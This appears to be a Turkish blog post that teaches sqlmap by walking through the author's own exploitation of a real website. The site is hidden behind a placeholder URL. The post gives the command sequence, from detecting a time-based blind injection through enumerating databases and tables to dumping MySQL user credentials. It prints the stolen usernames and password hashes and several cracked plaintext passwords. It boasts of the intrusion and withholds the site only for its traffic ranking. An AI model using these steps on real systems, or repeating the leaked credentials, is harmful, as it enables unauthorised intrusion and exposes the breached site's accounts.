Sqlmap Nedir ? : Python programlama dili kullanılarak geliştirilmiş sql injection zaafiyetlerini istismar etmeye yarayan bir araçtır. İçerisinde bulunan bir çok araç ile webmaster yada programcıların sql injection ataklarını engellemek için kullandıkları bir takım güvenlik önlemlerini sqlmap araçlarını kullananarak bypass etmek mümkün.
Sqlmap aracımızın öncelikli bilinmesi gereken parametreleri
--url Hedef site adresi.
--dbs Veritabanı ile ilgili bilgileri ve veritabanı isimlerini çekmek için kullanılır.
--tables Veritabanlarındaki tablo isimlerini çekmek için kullanılır.
--columns Tabloların içerisindeki kolon isimlerini çekmek için kullanılır.
--dump Veritabanı adı, tablo ve kolonlardaki dataları çekmek için kullanılır.
-D Veritabanı adı
-T Tablo adı
-C Kolon adı
Basitçe sqlmap kullanımını daha önce aynı zaafiyeti kullanarak sistemine sızdıgım bir sitede uygulayacagım.
Hedef site : http://www.target.com/sql.php?id=1999
Hedef sitemiz ile ilgili ilk bilgileri elde etmek için benim izlemem gereken yol şöyle olacak.
1. işlem -) python sqlmap.py -u "http://www.target.com/sql.php?id=1999" --dbs
SQL Injection zaafiyetinin türü :
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1999 AND SLEEP(5)
Kullanılan servisler ve versiyon bilgileri
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
VERITABANI ISIMLERI
adserver
agenda
amna_albanian
amna_base
amna_base_stage
amna_chinese
amna_election
amna_english
amna_french
amna_french_stage
amna_radio
amna_russian
amna_test
anaco
ape_french
elections_feed
hrm
hrm2
information_schema
mediaterra
municipal_elections_feed
mysql
observatory
ota
parliamentary_elections_feed
phplist
test
İlk bilgileri elde etmek için izledigimiz yol sonrası üstteki gibi hedef siteye ait veritabanı bilgileri çekiyoruz, veritabanı adı ile tablo isimlerini almak için bir sonraki izlememiz gereken yol şöyle olacak. Ben üstteki veritabanı isimlerinden ilk gözüme kestirdigim "mysql" isimli veritabanını hedef alacagım.
2. işlem -) python sqlmap.py -u "http://www.target.com/sql.php?id=1999" -D mysql --tables
TABLO ISIMLERİ
user
columns_priv
db
event
func
general_log
help_category
help_keyword
help_relation
help_topic
host
ndb_binlog_index
plugin
proc
procs_priv
servers
slow_log
tables_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
1. işlem ile elde ettigimiz veritabanı içerisindeki tablo bilgilerini 2. işlem ile çektikten sonra bizim için öncelikli tablo yönetici bilgilerinin saklandıgı tablodur. 3. işlemimizi bu dogrultuda gerçekleştirirken "user" tablosunu hedef alıyoruz.
3. işlem -) python sqlmap.py -u "http://www.target.com/sql.php?id=1999" -D mysql -T user --columns
KOLON ISIMLERİ
User
Alter_priv
Alter_routine_priv
Create_priv
Create_routine_priv
Create_tmp_table_priv
Create_user_priv
Create_view_priv
Delete_priv
Drop_priv
Event_priv
Execute_priv
File_priv
Grant_priv
Host
Index_priv
Insert_priv
Lock_tables_priv
max_connections
max_questions
max_updates
max_user_connections
Password
Process_priv
References_priv
Reload_priv
Repl_client_priv
Repl_slave_priv
Select_priv
Show_db_priv
Show_view_priv
Shutdown_priv
ssl_cipher
ssl_type
Super_priv
Trigger_priv
Update_priv
x509_issuer
x509_subject
3. işlem ile "user" tablosundan çektigimiz bilgiler üstteki gibidir ve bu bilgiler arasında bize lazım olan 2 adet kolon var User, Password bu bilgileride elde ettikten sonra son aşama olan 4. işleme geçerek finalimizi yapıyoruz :)
4. işlem -) python sqlmap.py -u "http://www.target.com/sql.php?id=1999" -D mysql -T user -C User,Password --dump
+------------+---------------------------------------------------------------+
| User | Password |
+------------+---------------------------------------------------------------+
| adserver | *3FA123BB29E2FC63620673FF68BF39567291D850
| agenda | *B3E8DAD21078618BAA6B7647F41F9157A2EE6A4A
| amna | *0DA4938AAAB1054A600AB9346F36B77058C5BEEE
| amnadmin | *2ABEE80D2FD605A22B31E582E84B4389EC6CA7B7
| apefrench | *60244D20CBD5FD36B02BD34A37CF8A4C8D6C78E6
| christos | *676243218923905CF94CB52A3C9D3EB30CE8E20D
| christos | *1F8D8B34CD47D5651AB850EF3D1B8CDFECBF3883
| giorgos | *6CDDA2F952780F31DA652F66037C2D620C8220A6
| hrview | *00A51F3F48415C7D4E8908980D443C29C69B60C9
| kostas | *0DA6E808FC045ACD1EE600841421077654962F1B
| mediaterra | *E789D1F377A8499EAB444E46F95535887DDB6F78
| mlazou | *4FE650B5BC6643095EFD7A683399EE0D5B428081
| observer | *1337F689DE48D1D7741327B2C1056961C15B4D1F
| orangehrm | *A4B6157319038724E3560894F7F932C8886EBFCF
| ota | *7F5E26E2CABC30407C18F792CC51C8C56FFDD6DF
| phplist | *F825F2D91CD3CC04C92890DB8025746810D64E7D
| phplist | *F825F2D91CD3CC04C92890DB8025746810D64E7D
+------------+---------------------------------------------------------------+
Bu kadar güzelligin yanında birde sqlmap aracımızın "dictionary-based attack" md5 cracker aracını kullanarak hedef site üzerinden çekmiş oldugum mysql veritanı içericindeki datalar ile elde ettigim yönetici bilgilerini kırdıklarımı paylaşıyorum.
| mlazou | *4FE650B5BC6643095EFD7A683399EE0D5B428081 (Şifre : 1355)
| orangehrm | *A4B6157319038724E3560894F7F932C8886EBFCF (Şifre : 1234)
| hrview | *00A51F3F48415C7D4E8908980D443C29C69B60C9 (Şifre : 12345)
| christos | *676243218923905CF94CB52A3C9D3EB30CE8E20D (Şifre : test123)
| amna | *0DA4938AAAB1054A600AB9346F36B77058C5BEEE (Şifre : amna)
Not : Sqlmap ile SQL injection zaafiyetini istismar ettigim site adresini pr6 alexa 23k kısaca çok kaliteli bir site oldugu için paylaşmıyorum.
0 yorum :
Yorum Gönder